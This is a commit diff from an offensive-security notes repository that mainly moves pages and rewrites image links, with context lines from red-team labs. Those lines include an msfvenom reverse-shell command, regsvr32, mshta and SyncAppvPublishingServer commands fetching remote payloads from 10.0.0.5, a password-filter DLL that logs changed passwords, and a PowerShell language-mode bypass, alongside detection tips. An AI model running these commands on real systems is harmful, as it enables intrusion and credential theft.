Skip to content

Commit b3dc76e

Browse files
mantvydasbgitbook-bot
authored andcommitted
GitBook: [master] 224 pages modified
1 parent 37bf1e0 commit b3dc76e

File tree

120 files changed

+668
-653
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

120 files changed

+668
-653
lines changed

SUMMARY.md

+116-115
Large diffs are not rendered by default.

memory-forensics/get-injectedthread.md miscellaneous-reversing-forensics/get-injectedthread.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ description: >-
88

99
## Injecting Shellcode
1010

11-
Firstly, let's use an [injector](../offensive-security/t1055-process-injection/process-injection.md) program we wrote earlier to inject some shellcode into a process that will give us a reverse shell. In this case, we are injecting the shellcode into explorer.exe:
11+
Firstly, let's use an [injector](../offensive-security/code-injection-process-injection/process-injection.md) program we wrote earlier to inject some shellcode into a process that will give us a reverse shell. In this case, we are injecting the shellcode into explorer.exe:
1212

1313
![](../.gitbook/assets/injected-threads-explorer-injected.png)
1414

memory-forensics/process-environment-block.md miscellaneous-reversing-forensics/process-environment-block.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -202,7 +202,7 @@ Continuing further:
202202

203203
It is possible to abuse the PEB structure and masquerade one windows processes with another process. See this lab for more:
204204

205-
{% page-ref page="../offensive-security-experiments/masquerading-processes-in-userland-through-\_peb.md" %}
205+
{% page-ref page="../offensive-security/defense-evasion/masquerading-processes-in-userland-through-\_peb.md" %}
206206

207207
## References
208208

offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
In this lab I'm trying to get code execution with `SYSTEM` level privileges on a DC that runs a DNS service as originally researched by Shay Ber [here](https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83).
44

5-
The attack relies on a [DLL injection](../../offensive-security/t1055-process-injection/dll-injection.md) into the dns service running as SYSTEM on the DNS server which most of the time is on a Domain Contoller.
5+
The attack relies on a [DLL injection](../../offensive-security/code-injection-process-injection/dll-injection.md) into the dns service running as SYSTEM on the DNS server which most of the time is on a Domain Contoller.
66

77
## Execution
88

Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Code Execution
2+

offensive-security/application-whitelisting-bypass-with-wmic-and-xsl.md offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl.md

+2-2
Original file line numberDiff line numberDiff line change
@@ -36,13 +36,13 @@ wmic os get /FORMAT:"evil.xsl"
3636
{% endcode-tabs-item %}
3737
{% endcode-tabs %}
3838

39-
![](../.gitbook/assets/screenshot-from-2019-04-10-22-05-24.png)
39+
![](../../.gitbook/assets/screenshot-from-2019-04-10-22-05-24.png)
4040

4141
## Observation
4242

4343
Calculator is spawned by svchost.exe:
4444

45-
![](../.gitbook/assets/screenshot-from-2019-04-10-21-57-52.png)
45+
![](../../.gitbook/assets/screenshot-from-2019-04-10-21-57-52.png)
4646

4747
## References
4848

offensive-security/powershell-constrained-language-mode-bypass.md offensive-security/code-execution/powershell-constrained-language-mode-bypass.md

+4-4
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ Constrained Language Mode in short locks down the nice features of Powershell us
1010

1111
For fun - creating another powershell instance inside powershell without actually spawning a new `powershell.exe` process:
1212

13-
![](../.gitbook/assets/ps-invoke.gif)
13+
![](../../.gitbook/assets/ps-invoke.gif)
1414

1515
## Constrained Language Mode
1616

@@ -27,19 +27,19 @@ PS C:\Users\mantvydas> $ExecutionContext.SessionState.LanguageMode
2727
ConstrainedLanguage
2828
```
2929

30-
![](../.gitbook/assets/ps-constrained.png)
30+
![](../../.gitbook/assets/ps-constrained.png)
3131

3232
With `ConstrainedLanguage`, trying to download a file from remote machine, we get `Access Denied`:
3333

34-
![](../.gitbook/assets/ps-constrained-download-denied.png)
34+
![](../../.gitbook/assets/ps-constrained-download-denied.png)
3535

3636
However, if you have access to the system and enough privileges to change environment variables, the lock can be lifted by removing the variable `__PSLockdownPolicy` and re-spawning another powershell instance.
3737

3838
### Powershell Downgrade
3939

4040
If you have the ability to downgrade to Powershell 2.0, this can allow you to bypass the `ConstrainedLanguage`mode. Note how `$ExecutionContext.SessionState.LanguageMode` keeps returning `ConstrainedLangue` in powershell instances that were not launched with `-version Powershell 2` until it does not:
4141

42-
![](../.gitbook/assets/ps-downgrade.png)
42+
![](../../.gitbook/assets/ps-downgrade.png)
4343

4444
## References
4545

offensive-security/powershell-without-powershell.md offensive-security/code-execution/powershell-without-powershell.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ If you run into a situation where powershell.exe is blocked and no strict applic
1010
rundll32.exe PowerShdll.dll,main
1111
```
1212

13-
![](../.gitbook/assets/pwshll-rundll32.gif)
13+
![](../../.gitbook/assets/pwshll-rundll32.gif)
1414

1515
Note that the same could be achieved with a compiled .exe binary from the same project, but keep in mind that .exe is more likely to run into whitelisting issues.
1616

@@ -22,9 +22,9 @@ Windows 10 comes with `SyncAppvPublishingServer.exe and` `SyncAppvPublishingServ
2222
SyncAppvPublishingServer.vbs "Break; iwr http://10.0.0.5:443"
2323
```
2424

25-
![](../.gitbook/assets/pwshll-syncappvpublishingserver.png)
25+
![](../../.gitbook/assets/pwshll-syncappvpublishingserver.png)
2626

27-
![](../.gitbook/assets/pwshll-syncappvpublishingserver.gif)
27+
![](../../.gitbook/assets/pwshll-syncappvpublishingserver.gif)
2828

2929
## References
3030

offensive-security/t1117-regsvr32-aka-squiblydoo.md offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -37,15 +37,15 @@ regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll
3737

3838
## Observations
3939

40-
![calc.exe spawned by regsvr32.exe](../.gitbook/assets/regsvr32.png)
40+
![calc.exe spawned by regsvr32.exe](../../.gitbook/assets/regsvr32.png)
4141

4242
Note how regsvr32 process exits almost immediately. This means that just by looking at the list of processes on the victim machine, the evil process may not be immedialy evident... Not until you realise how it was invoked though. Sysmon commandline logging may help you detect this activity:
4343

44-
![](../.gitbook/assets/regsvr32-commandline.png)
44+
![](../../.gitbook/assets/regsvr32-commandline.png)
4545

4646
Additionally, of course sysmon will show regsvr32 establishing a network connection:
4747

48-
![](../.gitbook/assets/regsvr32-network.png)
48+
![](../../.gitbook/assets/regsvr32-network.png)
4949

5050
## References
5151

offensive-security/t1118-installutil.md offensive-security/code-execution/t1118-installutil.md

+4-4
Original file line numberDiff line numberDiff line change
@@ -42,13 +42,13 @@ Hello From Uninstall...I carry out the real work...
4242

4343
Enjoy the sweet reverse shell:
4444

45-
![](../.gitbook/assets/installutil-shell.png)
45+
![](../../.gitbook/assets/installutil-shell.png)
4646

4747
## Observations
4848

4949
Look for `InstallUtil` processes that have established connections, especially those with cmd or powershell processes running as children - you should treat them as suspicious and investigate the endpoint closer:
5050

51-
![](../.gitbook/assets/installutil-procexp.png)
51+
![](../../.gitbook/assets/installutil-procexp.png)
5252

5353
A very primitive query in kibana allowing to find events where InstallUtil spawns cmd:
5454

@@ -60,9 +60,9 @@ event_data.ParentCommandLine:"*installutil.exe*" && event_data.Image:cmd.exe
6060
{% endcode-tabs-item %}
6161
{% endcode-tabs %}
6262

63-
![InstallUtil launching the malicious payload](../.gitbook/assets/installutil-kibana.png)
63+
![InstallUtil launching the malicious payload](../../.gitbook/assets/installutil-kibana.png)
6464

65-
![csc.exe created a temp.exe which contains the reverse shell payload](../.gitbook/assets/installutils-csc.png)
65+
![csc.exe created a temp.exe which contains the reverse shell payload](../../.gitbook/assets/installutils-csc.png)
6666

6767
What is interesting is that I could not see an established network connection logged in sysmon logs, although I could see other network connections from the victim machine being logged.
6868

offensive-security/t1170-mshta-code-execution.md offensive-security/code-execution/t1170-mshta-code-execution.md

+5-5
Original file line numberDiff line numberDiff line change
@@ -46,15 +46,15 @@ Invoking the scriptlet file hosted remotely:
4646

4747
As expected, calc.exe is spawned by mshta.exe. Worth noting that mhsta and cmd exit almost immediately after invoking the calc.exe:
4848

49-
![](../.gitbook/assets/mshta-calc.png)
49+
![](../../.gitbook/assets/mshta-calc.png)
5050

5151
As a defender, look at sysmon logs for mshta establishing network connections:
5252

53-
![](../.gitbook/assets/mshta-connection.png)
53+
![](../../.gitbook/assets/mshta-connection.png)
5454

5555
Also, suspicious commandlines:
5656

57-
![](../.gitbook/assets/mshta-commandline.png)
57+
![](../../.gitbook/assets/mshta-commandline.png)
5858

5959
## Bonus
6060

@@ -64,11 +64,11 @@ The hta file can be invoked like so:
6464
mshta.exe http://10.0.0.5/m.hta
6565
```
6666

67-
![](../.gitbook/assets/mshta-calc2.png)
67+
![](../../.gitbook/assets/mshta-calc2.png)
6868

6969
or by navigating to the file itself, launching it and clicking run:
7070

71-
![](../.gitbook/assets/mshta-url.png)
71+
![](../../.gitbook/assets/mshta-url.png)
7272

7373
{% code-tabs %}
7474
{% code-tabs-item title="http://10.0.0.5/m.hta" %}

offensive-security/t1191-cmstp-code-execution.md offensive-security/code-execution/t1191-cmstp-code-execution.md

+2-2
Original file line numberDiff line numberDiff line change
@@ -49,13 +49,13 @@ PS C:\experiments\cmstp> cmstp.exe /s .\f.inf
4949

5050
Rundll32 is spawned which then establishes the connection back to the attacker:
5151

52-
![](../.gitbook/assets/cmstp-rundll32.png)
52+
![](../../.gitbook/assets/cmstp-rundll32.png)
5353

5454
A very privitive way of hunting for suspicious instances of rundll32 initiating connections would be skimming through the sysmon logs and looking for network connections being established by rundll32 immediately/soon after it had been spawned by cmstp.
5555

5656
Note how the connection was established one second after the process creation. This behaviour depends on what the payload is supposed to do, but if the payload is a reverse shell, it usually attempts connecting back immediately upon execution, which is exactly our case:
5757

58-
![](../.gitbook/assets/cmstp-kibana%20%281%29.png)
58+
![](../../.gitbook/assets/cmstp-kibana%20%281%29.png)
5959

6060
## References
6161

offensive-security/t1196-control-panel-item-code-execution.md offensive-security/code-execution/t1196-control-panel-item-code-execution.md

+4-4
Original file line numberDiff line numberDiff line change
@@ -25,11 +25,11 @@ listening on [any] 4444 ...
2525

2626
We can see that the .cpl is simply a DLL with DllMain function exported:
2727

28-
![](../.gitbook/assets/lnk-dllmain%20%281%29.png)
28+
![](../../.gitbook/assets/lnk-dllmain%20%281%29.png)
2929

3030
A quick look at the dissasembly of the dll suggests that rundll32.exe will be spawned, a new thread will be created in suspended mode, which most likely will get injected with our shellcode and eventually resumed to execute that shellcode:
3131

32-
![](../.gitbook/assets/lnk-dissasm.png)
32+
![](../../.gitbook/assets/lnk-dissasm.png)
3333

3434
Invoking the shellcode via control.exe:
3535

@@ -62,11 +62,11 @@ Copyright (c) 2009 Microsoft Corporation. All rights reserved.
6262

6363
Note how rundll32 spawns cmd.exe and establishes a connection back to the attacker - these are signs that should raise your suspicion when investingating a host for a compromise:
6464

65-
![](../.gitbook/assets/lnk-connection.png)
65+
![](../../.gitbook/assets/lnk-connection.png)
6666

6767
As always, sysmon logging can help in finding suspicious commandlines being executed in your environment:
6868

69-
![](../.gitbook/assets/lnk-sysmon%20%281%29.png)
69+
![](../../.gitbook/assets/lnk-sysmon%20%281%29.png)
7070

7171
## Bonus - Create Shortcut With PowerShell
7272

offensive-security/t1202-forfiles-indirect-command-execution.md offensive-security/code-execution/t1202-forfiles-indirect-command-execution.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -12,15 +12,15 @@ This technique launches an executable without a cmd.exe.
1212
forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
1313
```
1414

15-
![](../.gitbook/assets/forfiles-executed.png)
15+
![](../../.gitbook/assets/forfiles-executed.png)
1616

1717
## Observations
1818

1919
Defenders can monitor for process creation/commandline logs to detect this activity:
2020

21-
![](../.gitbook/assets/forfiles-ancestry.png)
21+
![](../../.gitbook/assets/forfiles-ancestry.png)
2222

23-
![](../.gitbook/assets/forfiles-cmdline.png)
23+
![](../../.gitbook/assets/forfiles-cmdline.png)
2424

2525
## References
2626

offensive-security/t1216-signed-script-ce.md offensive-security/code-execution/t1216-signed-script-ce.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -47,13 +47,13 @@ cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1
4747

4848
Calc.exe gets spawned by cscript.exe which immediately closes leaving the calc.exe process orphan:
4949

50-
![](../.gitbook/assets/pubprn-csript.png)
50+
![](../../.gitbook/assets/pubprn-csript.png)
5151

52-
![](../.gitbook/assets/pubprn-ancestry.png)
52+
![](../../.gitbook/assets/pubprn-ancestry.png)
5353

5454
Monitoring commandlines can be useful in detecting the script being abused:
5555

56-
![](../.gitbook/assets/pubprn-logs.png)
56+
![](../../.gitbook/assets/pubprn-logs.png)
5757

5858
## References
5959

offensive-security/using-msbuild-to-execute-shellcode-in-c.md offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f csharp
1414
{% endcode-tabs-item %}
1515
{% endcode-tabs %}
1616

17-
![](../.gitbook/assets/screenshot-from-2019-04-04-20-53-21.png)
17+
![](../../.gitbook/assets/screenshot-from-2019-04-04-20-53-21.png)
1818

1919
Insert shellcode into the shellcode variable in linne 46:
2020

@@ -88,7 +88,7 @@ Insert shellcode into the shellcode variable in linne 46:
8888
{% endcode-tabs-item %}
8989
{% endcode-tabs %}
9090

91-
![](../.gitbook/assets/screenshot-from-2019-04-04-20-54-14.png)
91+
![](../../.gitbook/assets/screenshot-from-2019-04-04-20-54-14.png)
9292

9393
Spin up a handler in metasploit to catch your shell:
9494

@@ -110,7 +110,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\bad\bad.xml
110110
{% endcode-tabs-item %}
111111
{% endcode-tabs %}
112112

113-
![](../.gitbook/assets/peek-2019-04-04-20-57.gif)
113+
![](../../.gitbook/assets/peek-2019-04-04-20-57.gif)
114114

115115
## Observation
116116

Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Code and Process Injection
2+

offensive-security/t1055-process-injection/process-doppelganging.md offensive-security/code-injection-process-injection/process-doppelganging.md

+2-2
Original file line numberDiff line numberDiff line change
@@ -30,9 +30,9 @@ This test was done on Windows 7
3030

3131
Below are two links where we explore the PEB in a bit more depth:
3232

33-
{% page-ref page="../../memory-forensics/process-environment-block.md" %}
33+
{% page-ref page="../../miscellaneous-reversing-forensics/process-environment-block.md" %}
3434

35-
{% page-ref page="../../offensive-security-experiments/masquerading-processes-in-userland-through-\_peb.md" %}
35+
{% page-ref page="../defense-evasion/masquerading-processes-in-userland-through-\_peb.md" %}
3636

3737
## Windows 10
3838

offensive-security/t1055-process-injection/process-hollowing-and-pe-image-relocations.md offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ Shout out to [Mumbai](https://twitter.com/ilove2pwn_) for a great debugging sess
1919

2020
If you need more info on parsing Windows PE files, see my previous lab:
2121

22-
{% page-ref page="../pe-file-header-parser-in-c++.md" %}
22+
{% page-ref page="../../miscellaneous-reversing-forensics/pe-file-header-parser-in-c++.md" %}
2323

2424
## Execution
2525

@@ -36,7 +36,7 @@ Let's start calc.exe as our host / destination process - this is going to be the
3636

3737
### Destination ImageBaseAddress
3838

39-
Now, in order to hollow out the destination process, we need to know its `ImageBaseAddress`. We can get the location of image base address from the [PEB](../../memory-forensics/process-environment-block.md) structure of the host process via WinDBG - we know that the PEB is located at 0100e000:
39+
Now, in order to hollow out the destination process, we need to know its `ImageBaseAddress`. We can get the location of image base address from the [PEB](../../miscellaneous-reversing-forensics/process-environment-block.md) structure of the host process via WinDBG - we know that the PEB is located at 0100e000:
4040

4141
![](../../.gitbook/assets/screenshot-from-2019-04-28-16-36-33.png)
4242

@@ -401,5 +401,5 @@ What an amazing resource for those interested in detecting process hollowing usi
401401
402402
{% embed url="https://attack.mitre.org/techniques/T1093/" %}
403403
404-
{% page-ref page="../pe-file-header-parser-in-c++.md" %}
404+
{% page-ref page="../../miscellaneous-reversing-forensics/pe-file-header-parser-in-c++.md" %}
405405
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Credential Access and Credential Dumping
2+

offensive-security/t1174-password-filter-dll.md offensive-security/credential-access-and-credential-dumping/t1174-password-filter-dll.md

+8-8
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ reg query "hklm\system\currentcontrolset\control\lsa" /v "notification packages"
2020

2121
Or via regedit:
2222

23-
![](../.gitbook/assets/password-filter-regedit.png)
23+
![](../../.gitbook/assets/password-filter-regedit.png)
2424

2525
Building an evil filter DLL based on a great [article](http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html) by mubix. He has also kindly provided the code to use, which I modified slightly to make sure that the critical DLL functions were exported correctly in order for this technique to work, since mubix's code did not work for me out of the box. I also had to change the logging statements in order to rectify a couple of compiler issues:
2626

@@ -86,7 +86,7 @@ extern "C" __declspec(dllexport) NTSTATUS __stdcall PasswordChangeNotify(
8686
}
8787
```
8888
89-
{% file src="../.gitbook/assets/evilpwfilter.dll" caption="Password Filter DLL" %}
89+
{% file src="../../.gitbook/assets/evilpwfilter.dll" caption="Password Filter DLL" %}
9090
9191
Injecting the evil password filter into the victim system:
9292
@@ -101,29 +101,29 @@ The operation completed successfully.
101101
{% endcode-tabs-item %}
102102
{% endcode-tabs %}
103103

104-
![](../.gitbook/assets/password-filter-updating-registry.png)
104+
![](../../.gitbook/assets/password-filter-updating-registry.png)
105105

106106
Testing password changes after the reboot - note how the password changes are getting logged:
107107

108-
![](../.gitbook/assets/password-filter-filter-working.png)
108+
![](../../.gitbook/assets/password-filter-filter-working.png)
109109

110110
## Observations
111111

112112
Windows event `4614` notifies about new packages loaded by the SAM:
113113

114-
![](../.gitbook/assets/password-filter-log1.png)
114+
![](../../.gitbook/assets/password-filter-log1.png)
115115

116116
Logging command line can also help in detecting this activity:
117117

118-
![](../.gitbook/assets/password-filter-cmdline.png)
118+
![](../../.gitbook/assets/password-filter-cmdline.png)
119119

120120
...especially, if the package has just been recently dropped to disk:
121121

122-
![](../.gitbook/assets/password-filter-createdtime.png)
122+
![](../../.gitbook/assets/password-filter-createdtime.png)
123123

124124
Also, it may be worth considering checking new DLLs dropped to `%systemroot%\system32` for exported `PasswordChangeNotify`function:
125125

126-
![](../.gitbook/assets/password-filter.png)
126+
![](../../.gitbook/assets/password-filter.png)
127127

128128
## References
129129

offensive-security/t1214-credentials-in-registry.md offensive-security/credential-access-and-credential-dumping/t1214-credentials-in-registry.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ reg query HKCU /f password /t REG_SZ /s
2222

2323
As a defender, you may want to monitor commandline argument logs and look for any that include `req query` and `password`strings:
2424

25-
![](../.gitbook/assets/passwords-registry.png)
25+
![](../../.gitbook/assets/passwords-registry.png)
2626

2727
## References
2828

Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Defense Evasion
2+

0 commit comments

Comments
 (0)